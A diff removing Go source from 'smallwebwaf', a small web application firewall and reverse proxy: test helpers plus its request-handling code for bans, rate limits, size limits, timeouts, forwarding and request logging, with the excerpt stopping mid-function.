-	requestType = "request"
-	// protocol is the protocol of every test's requests.
-	protocol = "HTTP/1.1"
-)
-
-// shortTimeoutSetting is shortTimeout as a setting's value.
-//
-//nolint:gochecknoglobals // a constant cannot call String
-var shortTimeoutSetting = shortTimeout.String()
-
-// The settings the tests set.
-const (
-	clientRequestTimeout    = "SWWAF_CLIENT_REQUEST_TIMEOUT"
-	clientHeaderMaxBytes    = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES"
-	clientIdleTimeout       = "SWWAF_CLIENT_IDLE_TIMEOUT"
-	clientResponseTimeout   = "SWWAF_CLIENT_RESPONSE_TIMEOUT"
-	upstreamRequestTimeout  = "SWWAF_UPSTREAM_REQUEST_TIMEOUT"
-	upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT"
-	mode                    = "SWWAF_MODE"
-	requestMaxBytes         = "SWWAF_REQUEST_MAX_BYTES"
-	responseMaxBytes        = "SWWAF_RESPONSE_MAX_BYTES"
-	trustedProxies          = "SWWAF_TRUSTED_PROXIES"
-	allowNets               = "SWWAF_ALLOW_NETS"
-	rateLimitExemptNets     = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
-	denyNets                = "SWWAF_DENY_NETS"
-	rateLimitPerMinute      = "SWWAF_RATE_LIMIT_PER_MINUTE"
-	rateLimitPerDay         = "SWWAF_RATE_LIMIT_PER_DAY"
-	rateLimitExemptPaths    = "SWWAF_RATE_LIMIT_EXEMPT_PATHS"
-	deniedCountries         = "SWWAF_DENIED_COUNTRIES"
-	allowedCountries        = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
-	banResponse             = "SWWAF_BAN_RESPONSE"
-	limitBanDuration        = "SWWAF_LIMIT_BAN_DURATION"
-	limitBanRepeatWindow    = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
-	maxBanDuration          = "SWWAF_MAX_BAN_DURATION"
-	maxBans                 = "SWWAF_MAX_BANS"
-	banScopeV4Prefix        = "SWWAF_BAN_SCOPE_V4_PREFIX"
-	instanceName            = "SWWAF_INSTANCE_NAME"
-	logRequestHeaders       = "SWWAF_LOG_REQUEST_HEADERS"
-	attackBanDuration       = "SWWAF_ATTACK_BAN_DURATION"
-	rulesDir                = "SWWAF_RULES_DIR"
-)
-
-// output collects what smallwebwaf writes on stdout.
-type output struct {
-	mu  sync.Mutex
-	buf bytes.Buffer
-}
-
-// Write adds lines smallwebwaf writes.
-func (o *output) Write(p []byte) (int, error) {
-	o.mu.Lock()
-	defer o.mu.Unlock()
-
-	return o.buf.Write(p)
-}
-
-// text returns everything written so far.
-func (o *output) text() string {
-	o.mu.Lock()
-	defer o.mu.Unlock()
-
-	return o.buf.String()
-}
-
-// lines returns every line written so far, decoded.
-func (o *output) lines(t *testing.T) []map[string]any {
-	t.Helper()
-	o.mu.Lock()
-	defer o.mu.Unlock()
-
-	var lines []map[string]any
-
-	for text := range strings.Lines(o.buf.String()) {
-		var line map[string]any
-
-		err := json.Unmarshal([]byte(text), &line)
-		if err != nil {
-			t.Fatalf("output line %q is not JSON: %v", text, err)
-		}
-
-		lines = append(lines, line)
-	}
-
-	return lines
-}
-
-// logLine is a request log line, as typed fields and as the JSON object
-// it was written as.
-type logLine struct {
-	requestlog.Line
-
-	fields map[string]any
-}
-
-// requestLines waits for count request log lines and returns them.
-func (o *output) requestLines(t *testing.T, count int) []logLine {
-	t.Helper()
-
-	deadline := time.Now().Add(waitLimit)
-	for time.Now().Before(deadline) {
-		var found []logLine
-
-		for _, fields := range o.lines(t) {
-			if fields["type"] == requestType {
-				found = append(found, decodeLine(t, fields))
-			}
-		}
-
-		if len(found) >= count {
-			return found
-		}
-
-		time.Sleep(pollInterval)
-	}
-
-	t.Fatalf("fewer than %d request log lines after %s", count, waitLimit)
-
-	return nil
-}
-
-// requestLine waits for the request log line of a test's one request.
-func (o *output) requestLine(t *testing.T) logLine {
-	t.Helper()
-
-	return o.requestLines(t, 1)[0]
-}
-
-// decodeLine reads a request log line's fields into a logLine.
-func decodeLine(t *testing.T, fields map[string]any) logLine {
-	t.Helper()
-
-	encoded, err := json.Marshal(fields)
-	if err != nil {
-		t.Fatalf("encode %v: %v", fields, err)
-	}
-
-	line := logLine{fields: fields}
-
-	err = json.Unmarshal(encoded, &line.Line)
-	if err != nil {
-		t.Fatalf("decode %s: %v", encoded, err)
-	}
-
-	return line
-}
-
-// startApp starts app as the app smallwebwaf passes requests to.
-func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
-	t.Helper()
-
-	server := httptest.NewServer(app)
-	t.Cleanup(server.Close)
-
-	return server
-}
-
-// startProxy starts smallwebwaf in front of the app at appURL, with the
-// settings in env on top of the defaults, and returns where it listens and
-// what it writes.
-func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
-	t.Helper()
-
-	return startProxyWithGeoJS(t, appURL, "", env)
-}
-
-// startProxyWithGeoJS is startProxy with clients' countries looked up at
-// geojsURL.
-func startProxyWithGeoJS(
-	t *testing.T, appURL, geojsURL string, env map[string]string,
-) (string, *output) {
-	t.Helper()
-
-	addr, out, _ := startProxyWithClock(t, appURL, geojsURL, time.Now, env)
-
-	return addr, out
-}
-
-// startProxyWithClock is startProxyWithGeoJS with requests counted and
-// bans made by the time now tells, and returns the server as well. Unless
-// env sets SWWAF_RULES_DIR, it is an empty directory, of no rules.
-func startProxyWithClock(
-	t *testing.T, appURL, geojsURL string, now func() time.Time,
-	env map[string]string,
-) (string, *output, *proxy.Server) {
-	t.Helper()
-
-	settings := map[string]string{"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir()}
-	maps.Copy(settings, env)
-
-	cfg, err := config.FromEnvironment(func(name string) (string, bool) {
-		value, ok := settings[name]
-
-		return value, ok
-	})
-	if err != nil {
-		t.Fatalf("settings %v: %v", settings, err)
-	}
-
-	out := &output{}
-	processLog := requestlog.NewProcessLogger(out)
-
-	ruleFiles, err := rules.Load(rules.Params{
-		Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
-	})
-	if err != nil {
-		t.Fatalf("rule files: %v", err)
-	}
-
-	server := proxy.New(proxy.Params{
-		Config:     cfg,
-		RequestLog: out,
-		ProcessLog: processLog,
-		GeoJSURL:   geojsURL,
-		Now:        now,
-		Rules:      ruleFiles,
-	})
-
-	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
-	if err != nil {
-		t.Fatalf("listen: %v", err)
-	}
-
-	go func() {
-		_ = server.Serve(listener)
-	}()
-
-	t.Cleanup(func() {
-		_ = server.Close()
-	})
-
-	return listener.Addr().String(), out, server
-}
-
-// newClient returns an HTTP client that sends requests as they are made,
-// with no compression of its own.
-func newClient(t *testing.T) *http.Client {
-	t.Helper()
-
-	transport := &http.Transport{DisableCompression: true}
-	t.Cleanup(transport.CloseIdleConnections)
-
-	return &http.Client{Transport: transport}
-}
-
-// answer is a response as a test reads it: the status, the headers, as
-// much of the body as arrived, and the error that ended the reading, nil
-// when the whole body arrived.
-type answer struct {
-	status int
-	header http.Header
-	body   []byte
-	err    error
-}
-
-// readAnswer reads all of res, and closes its body.
-func readAnswer(res *http.Response) answer {
-	body, err := io.ReadAll(res.Body)
-	_ = res.Body.Close()
-
-	return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
-}
-
-// newRequest makes a request for path to smallwebwaf at addr.
-func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
-	t.Helper()
-
-	req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
-	if err != nil {
-		t.Fatalf("new request: %v", err)
-	}
-
-	return req
-}
-
-// do sends req and reads the answer.
-func do(t *testing.T, req *http.Request) answer {
-	t.Helper()
-
-	res, err := newClient(t).Do(req)
-	if err != nil {
-		t.Fatalf("%s %s: %v", req.Method, req.URL.Path, err)
-	}
-
-	return readAnswer(res)
-}
-
-// get sends a GET request for path to smallwebwaf at addr.
-func get(t *testing.T, addr, path string) answer {
-	t.Helper()
-
-	return do(t, newRequest(t, http.MethodGet, addr, path, http.NoBody))
-}
-
-// dial opens a connection to smallwebwaf at addr, for requests the HTTP
-// client cannot make, such as one that stops sending halfway.
-func dial(t *testing.T, addr string) net.Conn {
-	t.Helper()
-
-	conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp", addr)
-	if err != nil {
-		t.Fatalf("dial %s: %v", addr, err)
-	}
-
-	t.Cleanup(func() {
-		_ = conn.Close()
-	})
-
-	return conn
-}
-
-// send writes text to conn.
-func send(t *testing.T, conn net.Conn, text string) {
-	t.Helper()
-
-	_, err := io.WriteString(conn, text)
-	if err != nil {
-		t.Fatalf("send: %v", err)
-	}
-}
-
-// readResponse reads the answer to a request sent on conn.
-func readResponse(t *testing.T, conn net.Conn) answer {
-	t.Helper()
-
-	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
-	if err != nil {
-		t.Fatalf("set read deadline: %v", err)
-	}
-
-	res, err := http.ReadResponse(bufio.NewReader(conn), nil)
-	if err != nil {
-		t.Fatalf("read response: %v", err)
-	}
-
-	return readAnswer(res)
-}
-
-// wantLine checks the request log line's status and action.
-func wantLine(t *testing.T, line logLine, status int, action string) {
-	t.Helper()
-
-	if line.Status != status || line.Action != action {
-		t.Errorf("log line has status %d and action %q, want %d and %q",
-			line.Status, line.Action, status, action)
-	}
-}
-
-// wantStatus checks an answer's status.
-func wantStatus(t *testing.T, got answer, status int) {
-	t.Helper()
-
-	if got.status != status {
-		t.Errorf("status %d, want %d", got.status, status)
-	}
-}
-
-// wantTimedOut checks that what began at start ended once shortTimeout
-// had run out, and not much later.
-func wantTimedOut(t *testing.T, start time.Time) {
-	t.Helper()
-
-	took := time.Since(start)
-	if took < shortTimeout || took > shortTimeout+waitLimit/2 {
-		t.Errorf("took %s, want %s", took, shortTimeout)
-	}
-}

internal/proxy/request.go

@@ -1,692 +0,0 @@
-package proxy
-
-import (
-	"context"
-	"errors"
-	"net/http"
-	"net/http/httptrace"
-	"net/http/httputil"
-	"net/netip"
-	"net/url"
-	"os"
-	"slices"
-	"strings"
-	"sync"
-	"sync/atomic"
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-// flushAfterEachWrite has ReverseProxy pass on each part of the app's
-// answer as soon as it arrives.
-const flushAfterEachWrite time.Duration = -1
-
-// refusal is smallwebwaf refusing a request, or refusing to go on with it:
-// the status the client is answered if the response has not started yet,
-// 0 to close the connection without an answer, the action the log line
-// names, and the setting whose size or time limit the request passed, if
-// that is why.
-type refusal struct {
-	status int
-	action string
-	limit  string
-}
-
-// request is one request on its way through smallwebwaf, from the moment
-// its headers have been read to its log line.
-type request struct {
-	h  *handler
-	in *http.Request
-	// rc sets the deadlines of the connection to the client.
-	rc   *http.ResponseController
-	out  *responseWriter
-	body *requestBody // nil for a request without a body
-	line requestlog.Line
-
-	client      netip.Addr
-	peer        netip.Addr
-	peerTrusted bool
-	start       time.Time
-	// checked is when the checks were done, and upstreamStart when the
-	// request was handed to the app.
-	checked       time.Time
-	upstreamStart time.Time
-	// cancel ends the request to the app.
-	cancel context.CancelFunc
-	// refused is the first refusal, from whichever goroutine meets it.
-	refused atomic.Pointer[refusal]
-	// complete is true once the app's whole answer has been passed on.
-	complete bool
-
-	// mu guards what follows. The timeouts run on goroutines of their
-	// own, and the transport starts and stops them, and notes the times
-	// below, from its own; once timersStopped is set, none of the timeouts
-	// acts any more.
-	mu                    sync.Mutex
-	timersStopped         bool
-	clientRequestTimer    *time.Timer
-	upstreamRequestTimer  *time.Timer
-	upstreamResponseTimer *time.Timer
-	// connected is when there was a connection to the app, requestSent
-	// when the app had been sent the whole request, and answerStarted
-	// when the first byte of its answer arrived.
-	connected     time.Time
-	requestSent   time.Time
-	answerStarted time.Time
-}
-
-// newRequest starts handling r: it notes the time, counts the request as
-// under way, works out the client, and starts the log line with what is
-// known of the request.
-func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
-	h.metrics.RequestStarted()
-
-	start := time.Now()
-	peer := peerAddress(r)
-	trusted := h.config.TrustedProxies
-	peerTrusted := isInside(peer, trusted)
-	forwardedFor := r.Header.Values("X-Forwarded-For")
-	client := clientAddress(peer, forwardedFor, trusted)
-
-	rq := &request{
-		h:           h,
-		in:          r,
-		rc:          http.NewResponseController(w),
-		out:         &responseWriter{ResponseWriter: w},
-		client:      client,
-		peer:        peer,
-		peerTrusted: peerTrusted,
-		start:       start,
-		line: requestlog.Line{
-			Time:             requestlog.FormatTime(start),
-			Instance:         h.config.InstanceName,
-			ClientIP:         client.String(),
-			Method:           r.Method,
-			Scheme:           scheme(r, peerTrusted),
-			Host:             r.Host,
-			Path:             r.URL.EscapedPath(),
-			Query:            r.URL.RawQuery,
-			Protocol:         r.Proto,
-			Referer:          r.Referer(),
-			UserAgent:        r.UserAgent(),
-			RequestID:        requestID(r, peerTrusted),
-			PeerIP:           peer.String(),
-			ForwardedFor:     strings.Join(forwardedFor, ", "),
-			ClientGroup:      clientGroup(client).String(),
-			ContentType:      r.Header.Get("Content-Type"),
-			RequestHeaders:   requestHeaders(r, h.config.LogRequestHeaders),
-			HasAuthorization: len(r.Header.Values("Authorization")) > 0,
-			HasCookie:        len(r.Header.Values("Cookie")) > 0,
-			Action:           requestlog.ActionForward,
-		},
-	}
-
-	// A length of -1 is a body whose length was not announced.
-	if r.ContentLength > 0 {
-		rq.line.ContentLength = r.ContentLength
-	}
-
-	if r.Body != http.NoBody {
-		rq.body = &requestBody{body: limitBody(r.Body, h.config.RequestMaxBytes), rq: rq}
-	}
-
-	return rq
-}
-
-// requestHeaders returns the headers of r that names lists, by name in
-// lower case, each with its values joined by ", ". Authorization, Cookie
-// and Set-Cookie are never among them, whatever names says.
-func requestHeaders(r *http.Request, names []string) map[string]string {
-	headers := map[string]string{}
-
-	for _, name := range names {
-		switch name {
-		case "authorization", "cookie", "set-cookie":
-			continue
-		}
-
-		values := r.Header.Values(name)
-		if len(values) > 0 {
-			headers[name] = strings.Join(values, ", ")
-		}
-	}
-
-	return headers
-}
-
-// check is the one place where a request can be refused once its client
-// is known, before its body is read or anything reaches the app. It
-// returns nil to let the request through. The checks of checkClient come
-// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
-// then the size limit, so that a request the rate limits count is counted
-// even when it is refused for its size. In observe mode a request
-// checkClient refuses goes on to the size limit like any other. ctx is
-// the request's own context.
-func (rq *request) check(ctx context.Context) *refusal {
-	action := rq.checkClient(ctx)
-
-	switch {
-	case action == "":
-	case rq.h.config.Observe:
-		// The log line names what enforce mode would have done.
-		rq.line.WouldAction = action
-	case action == requestlog.ActionRuleBlocked:
-		return &refusal{status: http.StatusForbidden, action: action}
-	default:
-		return rq.banResponse(action)
-	}
-
-	maxBytes := rq.h.config.RequestMaxBytes
-	if maxBytes > 0 && rq.in.ContentLength > maxBytes {
-		return &refusal{
-			status: http.StatusRequestEntityTooLarge,
-			action: requestlog.ActionTooLarge,
-			limit:  "SWWAF_REQUEST_MAX_BYTES",
-		}
-	}
-
-	return nil
-}
-
-// checkClient runs the checks on the request's client, and returns the
-// action of the first that refuses the request, or "" when none does. A
-// client in SWWAF_ALLOW_NETS skips them. For any other client,
-// SWWAF_DENY_NETS comes first, then a ban on its netblock, so that a
-// client either refuses is not looked up, and then the country lists; a
-// request any of them refuses is not counted for the rate limits. Then
-// come the rate limits, unless the client is in
-// SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is exempt under
-// SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request is counted,
-// and last the rule files. ctx is the request's own context.
-func (rq *request) checkClient(ctx context.Context) string {
-	cfg := rq.h.config
-	if isInside(rq.client, cfg.AllowNets) {
-		return ""
-	}
-
-	now := rq.h.now()
-
-	if isInside(rq.client, cfg.DenyNets) {
-		return requestlog.ActionDenied
-	}
-
-	if rq.banned(now) {
-		return requestlog.ActionBanned
-	}
-
-	if rq.countryDenied(ctx) {
-		return requestlog.ActionCountryDenied
-	}
-
-	exempt := isInside(rq.client, cfg.RateLimitExemptNets) ||
-		pathExempt(rq.in.URL, cfg.RateLimitExemptPaths)
-	if !exempt && rq.limitBroken(now) {
-		return requestlog.ActionRateLimited
-	}
-
-	return rq.checkRules(now)
-}
-
-// pathExempt reports whether the rate limits leave out a request for u
-// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
-// path the app receives, not percent-decoded, starts with one of
-// prefixes, so that /%61ssets/x is not under /assets/ for an app whose
-// router matches the path as received. A request whose decoded path
-// contains .. anywhere or a backslash, or whose path as sent holds an
-// encoded slash (%2F or %2f), never is, since an app may act on it as a
-// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
-// as one path segment, as Go's router does.
-func pathExempt(u *url.URL, prefixes []string) bool {
-	decoded := u.Path
-	// EscapedPath is the path as the app receives it, not decoded.
-	sent := u.EscapedPath()
-
-	if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
-		strings.Contains(strings.ToLower(sent), "%2f") {
-		return false
-	}
-
-	return slices.ContainsFunc(prefixes, func(prefix string) bool {
-		return strings.HasPrefix(sent, prefix)
-	})
-}
-
-// forward passes the request to the app and the app's answer back. ctx
-// is the request's own context.
-func (rq *request) forward(ctx context.Context) {
-	ctx, cancel := context.WithCancel(ctx)
-	defer cancel()
-
-	rq.cancel = cancel
-	ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
-		GotConn:              rq.gotConn,
-		WroteRequest:         rq.wroteRequest,
-		GotFirstResponseByte: rq.gotFirstResponseByte,
-	})
-
-	out := rq.in.WithContext(ctx)
-	if rq.body != nil {
-		out.Body = rq.body
-	}
-
-	reverseProxy := &httputil.ReverseProxy{
-		Rewrite:        rq.rewrite,
-		Transport:      rq.h.transport,
-		FlushInterval:  flushAfterEachWrite,
-		ErrorLog:       rq.h.errorLog,
-		ModifyResponse: rq.modifyResponse,
-		ErrorHandler:   rq.answerError,
-	}
-
-	rq.startRequestTimers()
-	rq.upstreamStart = time.Now()
-	reverseProxy.ServeHTTP(rq.out, out)
-}
-
-// rewrite makes the request the app receives: the client's request,
-// unchanged, sent to SWWAF_UPSTREAM_URL, with the forwarded headers and
-// the request's id set.
-func (rq *request) rewrite(pr *httputil.ProxyRequest) {
-	upstream := rq.h.config.UpstreamURL
-	pr.Out.URL.Scheme = upstream.Scheme
-	pr.Out.URL.Host = upstream.Host
-	// ReverseProxy drops query parameters it cannot parse; the app gets
-	// the query as the client sent it.
-	pr.Out.URL.RawQuery = pr.In.URL.RawQuery
-	setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted)
-	pr.Out.Header.Set(requestIDHeader, rq.line.RequestID)
-}
-
-// modifyResponse looks at the app's answer before ReverseProxy passes it
-// on.
-func (rq *request) modifyResponse(res *http.Response) error {
-	rq.line.UpstreamStatus = res.StatusCode
-
-	if res.StatusCode == http.StatusSwitchingProtocols {
-		// An upgraded connection, such as a WebSocket, is not cut by the
-		// timeouts. ReverseProxy writes this answer straight to the
-		// connection it takes over, not through rq.out.
-		rq.stopTimers()
-		rq.out.status = res.StatusCode
-		rq.line.Websocket = true
-
-		return nil
-	}
-
-	maxBytes := rq.h.config.ResponseMaxBytes
-	if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
-		rq.refuse(refusal{
-			status: http.StatusBadGateway,
-			action: requestlog.ActionTooLarge,
-			limit:  "SWWAF_RESPONSE_MAX_BYTES",
-		})
-
-		return errResponseTooLarge
-	}
-
-	res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
-	rq.startClientResponseTimeout()
-
-	return nil
-}
-
-// answerError is ReverseProxy's ErrorHandler: the request could not be
-// passed to the app, or the app's answer cannot be passed on.
-func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
-	refused := rq.refused.Load()
-	if refused == nil {
-		if rq.in.Context().Err() != nil {
-			return // the client has gone, and there is no one to answer
-		}
-
-		rq.h.processLog.Warn("request to the app failed", "error", err.Error())
-
-		refused = &refusal{
-			status: http.StatusBadGateway,
-			action: requestlog.ActionUpstreamError,
-		}
-	}
-
-	rq.answer(*refused)
-}
-
-// answer sends smallwebwaf's own answer, unless the response has already
-// started, and records the refusal for the log line.
-func (rq *request) answer(r refusal) {
-	rq.refused.CompareAndSwap(nil, &r)
-
-	if rq.out.status != 0 {
-		return // too late to answer: the connection can only be cut
-	}
-
-	if r.status == 0 {
-		// SWWAF_BAN_RESPONSE is close. This panic has Go's server close
-		// the connection without an answer, and log nothing; the log line
-		// is still written as the handler returns.
-		panic(http.ErrAbortHandler)
-	}
-
-	// A client found too slow is read no more; any other may go on
-	// sending until its time is up, so that Go's server can read the
-	// rest of the body and end the request cleanly.
-	deadline := rq.clientRequestDeadline()
-	if r.status == http.StatusRequestTimeout {
-		deadline = time.Now()
-	}
-
-	rq.stopReadingBody(deadline)
-
-	timeout := rq.h.config.ClientResponseTimeout
-	if timeout > 0 {
-		_ = rq.rc.SetWriteDeadline(time.Now().Add(timeout))
-	}
-
-	http.Error(rq.out, http.StatusText(r.status), r.status)
-}
-
-// refuse records r, unless an earlier refusal was, and ends the request
-// to the app, if one was made: smallwebwaf reads the body of a request
-// it answers itself too.
-func (rq *request) refuse(r refusal) {
-	rq.refused.CompareAndSwap(nil, &r)
-
-	if rq.cancel != nil {
-		rq.cancel()
-	}
-}
-
-// finish ends the request's timeouts, counts it in the metrics and writes
-// its log line.
-func (rq *request) finish() {
-	rq.stopTimers()
-
-	refused := rq.refused.Load()
-	if refused == nil {
-		rq.stopReadingBody(rq.clientRequestDeadline())
-	}
-
-	line := &rq.line
-	line.Status = rq.out.status
-	line.ResponseBytes = rq.out.bytes
-	header := rq.out.Header()
-	line.ResponseContentType = header.Get("Content-Type")
-	line.CacheControl = header.Get("Cache-Control")
-	line.Location = header.Get("Location")
-
-	if rq.body != nil {
-		line.RequestBytes = rq.body.bytes.Load()
-	}
-
-	// limit is the setting whose size or time limit the request passed.
-	var limit string
-
-	switch {
-	case refused != nil:
-		line.Action = refused.action
-		limit = refused.limit
-	case errors.Is(rq.out.err, os.ErrDeadlineExceeded):
-		// The client took longer than SWWAF_CLIENT_RESPONSE_TIMEOUT to
-		// take the response.
-		line.Action = requestlog.ActionTimedOut
-		limit = "SWWAF_CLIENT_RESPONSE_TIMEOUT"
-	case !rq.complete && (rq.out.err != nil || rq.in.Context().Err() != nil):
-		line.Aborted = true
-	}
-
-	now := time.Now()
-	duration := now.Sub(rq.start)
-	line.DurationTotal = requestlog.Milliseconds(duration)
-	line.DurationChecks = timing(rq.start, rq.checked)
-
-	var upstreamDuration time.Duration
-
-	if !rq.upstreamStart.IsZero() {
-		upstreamDuration = now.Sub(rq.upstreamStart)
-		line.DurationUpstreamTotal = new(requestlog.Milliseconds(upstreamDuration))
-
-		rq.mu.Lock()
-		line.DurationUpstreamConnect = timing(rq.upstreamStart, rq.connected)
-		line.DurationUpstreamFirstByte = timing(rq.upstreamStart, rq.answerStarted)
-		rq.mu.Unlock()
-	}
-
-	// Counted before the log line is written, so that the metrics count
-	// every request whose line is out.
-	rq.h.metrics.RequestEnded(line, limit, duration, upstreamDuration)
-
-	err := requestlog.Write(rq.h.requestLog, line)
-	if err != nil {
-		rq.h.processLog.Error("writing the request log failed", "error", err.Error())
-	}
-}
-
-// timing is the time from start to end in milliseconds, for one of the
-// log line's timings, or nil when end is zero: what it times never
-// happened.
-func timing(start, end time.Time) *float64 {
-	if end.IsZero() {
-		return nil
-	}
-
-	return new(requestlog.Milliseconds(end.Sub(start)))
-}
-
-// addToHistory adds the request, which has ended, to its client's
-// history.
-func (rq *request) addToHistory() {
-	var requestBytes int64
-	if rq.body != nil {
-		requestBytes = rq.body.bytes.Load()
-	}
-
-	forwarded := !rq.upstreamStart.IsZero()
-
-	rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{
-		Country:       rq.line.Country,
-		Forwarded:     forwarded,
-		Refused:       !forwarded && rq.refused.Load() != nil,
-		Status:        rq.out.status,
-		RequestBytes:  requestBytes,
-		ResponseBytes: rq.out.bytes,
-		BrokeLimit:    rq.line.Offence == requestlog.OffenceLimit,
-	})
-}
-
-// clientRequestDeadline is when the client must have sent its whole
-// request, or zero when SWWAF_CLIENT_REQUEST_TIMEOUT is off.
-func (rq *request) clientRequestDeadline() time.Time {
-	timeout := rq.h.config.ClientRequestTimeout
-	if timeout == 0 {
-		return time.Time{}
-	}
-
-	return rq.start.Add(timeout)
-}
-
-// stopReadingBody ends, at deadline, the reading of a client body that has
-// not arrived whole: Go's server then reads no more of it, and closes the
-// connection after the answer.
-func (rq *request) stopReadingBody(deadline time.Time) {
-	if rq.body == nil || rq.body.received.Load() {
-		return
-	}
-
-	_ = rq.rc.SetReadDeadline(deadline)
-}
-
-// startRequestTimers starts the timeouts that run while the request goes
-// to the app: SWWAF_CLIENT_REQUEST_TIMEOUT until the client has sent its
-// whole body, and SWWAF_UPSTREAM_REQUEST_TIMEOUT until the app has been
-// sent the whole request.
-func (rq *request) startRequestTimers() {
-	rq.mu.Lock()
-	defer rq.mu.Unlock()
-
-	if rq.body != nil && rq.h.config.ClientRequestTimeout > 0 {
-		rq.clientRequestTimer = time.AfterFunc(
-			time.Until(rq.clientRequestDeadline()), func() {
-				rq.requestTimedOut("SWWAF_CLIENT_REQUEST_TIMEOUT")
-			})
-	}
-
-	timeout := rq.h.config.UpstreamRequestTimeout
-	if timeout > 0 {
-		rq.upstreamRequestTimer = time.AfterFunc(timeout, func() {
-			rq.requestTimedOut("SWWAF_UPSTREAM_REQUEST_TIMEOUT")
-		})
-	}
-}
-
-// requestTimedOut is called when limit, SWWAF_CLIENT_REQUEST_TIMEOUT or
-// SWWAF_UPSTREAM_REQUEST_TIMEOUT, runs out while the request is still on
-// its way to the app. The answer names the side smallwebwaf was waiting
-// on at that moment: 408 when it was waiting for the client to send more
-// of its body, 504 when it was waiting for the app to be reached or to
-// take what it had.
-func (rq *request) requestTimedOut(limit string) {
-	rq.mu.Lock()
-	defer rq.mu.Unlock()
-
-	if rq.timersStopped {
-		return
-	}
-
-	if rq.body == nil || !rq.body.waiting.Load() {
-		rq.refuse(refusal{
-			status: http.StatusGatewayTimeout,
-			action: requestlog.ActionTimedOut,
-			limit:  limit,
-		})
-
-		return
-	}
-
-	rq.refuse(refusal{
-		status: http.StatusRequestTimeout,
-		action: requestlog.ActionTimedOut,
-		limit:  limit,
-	})
-	// The transport gives up on the app only once its Read of the
-	// client's body returns, so that Read is ended now. The lock keeps
-	// this from reaching the connection after the request is handled.
-	_ = rq.rc.SetReadDeadline(time.Now())
-}
-
-// bodyReceived is called once the client has sent its whole body.
-func (rq *request) bodyReceived() {
-	rq.mu.Lock()
-	defer rq.mu.Unlock()
-
-	stopTimer(rq.clientRequestTimer)
-}
-
-// gotConn is called once there is a connection to the app, a new one or
-// one kept open from an earlier request.
-func (rq *request) gotConn(httptrace.GotConnInfo) {
-	rq.mu.Lock()
-	defer rq.mu.Unlock()
-
-	rq.connected = time.Now()
-}
-
-// gotFirstResponseByte is called once the first byte of the app's answer
-// has arrived.
-func (rq *request) gotFirstResponseByte() {
-	rq.mu.Lock()
-	defer rq.mu.Unlock()
-
-	rq.answerStarted = time.Now()
-}
-
-// wroteRequest is called once the app has been sent the whole request:
-// the request timeouts end and SWWAF_UPSTREAM_RESPONSE_TIMEOUT starts.
-func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
-	if info.Err != nil {
-		return // the transport gives up, or tries again
-	}
-
-	rq.mu.Lock()
-	defer rq.mu.Unlock()
-
-	if rq.timersStopped {
-		return
-	}
-
-	stopTimer(rq.clientRequestTimer)
-	stopTimer(rq.upstreamRequestTimer)
-	rq.requestSent = time.Now()
-
-	timeout := rq.h.config.UpstreamResponseTimeout
-	if timeout > 0 {
-		rq.upstreamResponseTimer = time.AfterFunc(timeout, rq.responseTimedOut)
-	}
-}
-
-// responseTimedOut is called when SWWAF_UPSTREAM_RESPONSE_TIMEOUT runs out
-// before the app has sent its whole answer.
-func (rq *request) responseTimedOut() {
-	rq.mu.Lock()
-	defer rq.mu.Unlock()
-
-	if !rq.timersStopped {
-		rq.refuse(refusal{
-			status: http.StatusGatewayTimeout,
-			action: requestlog.ActionTimedOut,
-			limit:  "SWWAF_UPSTREAM_RESPONSE_TIMEOUT",
-		})
-	}
-}
-
-// responseReceived is called once the app has sent its whole answer.
-func (rq *request) responseReceived() {
-	rq.complete = true
-	rq.stopTimers()
-}
-
-// startClientResponseTimeout sets SWWAF_CLIENT_RESPONSE_TIMEOUT on the
-// connection to the client: the response must reach the client within it
-// of the end of the request, or of now if the app answers before it has
-// the whole request.
-func (rq *request) startClientResponseTimeout() {
-	timeout := rq.h.config.ClientResponseTimeout
-	if timeout == 0 {
-		return
-	}
-
-	from := rq.sentAt()
-	if from.IsZero() {
-		from = time.Now()
-	}
-
-	_ = rq.rc.SetWriteDeadline(from.Add(timeout))
-}
-
-// sentAt is when the app had been sent the whole request, or zero.
-func (rq *request) sentAt() time.Time {
-	rq.mu.Lock()
-	defer rq.mu.Unlock()
-
-	return rq.requestSent
-}
-
-// stopTimers stops the request's timeouts and keeps any from starting
-// later: the app's answer is complete, the connection upgraded, or the
-// request handled.
-func (rq *request) stopTimers() {
-	rq.mu.Lock()
-	defer rq.mu.Unlock()
-
-	rq.timersStopped = true
-	stopTimer(rq.clientRequestTimer)
-	stopTimer(rq.upstreamRequestTimer)
-	stopTimer(rq.upstreamResponseTimer)
-}
-
-// stopTimer stops t, which is nil when its timeout is off.
-func stopTimer(t *time.Timer) {
-	if t != nil {
